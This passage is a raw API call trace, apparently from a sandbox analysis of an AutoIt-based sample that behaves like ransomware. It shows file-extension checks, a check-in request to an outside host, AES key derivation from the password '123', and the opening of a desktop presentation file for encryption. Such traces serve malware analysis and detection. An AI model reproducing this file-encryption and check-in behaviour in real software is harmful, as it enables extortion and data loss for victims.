lpString1="esktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="U31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="31KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KSFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SFp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Fp09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="09cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cy.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0077.895] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pps", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.895] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.895] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0077.895] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.895] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0077.895] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0077.896] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.896] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0077.896] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0077.896] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620df0, lpdwBufferLength=0x130ee1c) returned 1 [0077.896] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.896] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0077.896] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0077.896] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0077.896] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0077.896] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0077.896] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629240, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629240*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0077.897] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629380, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629380*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0077.897] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.897] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.897] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0077.897] CloseHandle (hObject=0x0) returned 0 [0077.897] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.897] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d170 [0077.897] FindClose (in: hFindFile=0x164d170 | out: hFindFile=0x164d170) returned 1 [0077.898] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.898] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.898] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.898] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.898] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0077.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0077.898] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.898] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.898] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.898] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.899] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0077.899] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0077.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0077.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0077.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e030, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0077.899] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0077.899] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x1631bb0) returned 1 [0077.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.900] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0077.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.900] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.900] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.901] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0077.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.901] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.901] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.901] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0077.901] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.901] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.901] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.902] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.902] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.907] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0077.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621378, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0077.907] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0077.907] CryptCreateHash (in: hProv=0x1631bb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0077.907] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.907] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.907] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.907] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0077.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629450, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0077.908] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0077.908] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0077.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629420, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0077.908] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.908] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.908] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.908] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0077.908] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621900, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0077.908] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0077.909] CryptHashData (hHash=0x164c530, pbData=0x1629450, dwDataLen=0x3, dwFlags=0x1) returned 1 [0077.909] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.909] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.909] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.909] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.909] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.909] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.909] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0077.909] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0077.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0077.910] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0077.910] CryptDeriveKey (in: hProv=0x1631bb0, Algid=0x6610, hBaseData=0x164c530, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c8f0) returned 1 [0077.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.910] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.910] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.910] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0077.910] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0077.910] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0077.910] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0077.911] CryptDestroyHash (hHash=0x164c530) returned 1 [0077.911] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0077.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.911] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.911] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\U31KSFp09cy.pps" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\u31ksfp09cy.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3d8 [0077.911] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.911] SetFilePointerEx (in: hFile=0x3d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0077.911] PeekMessageW (in: lpMsg=0x130f164, 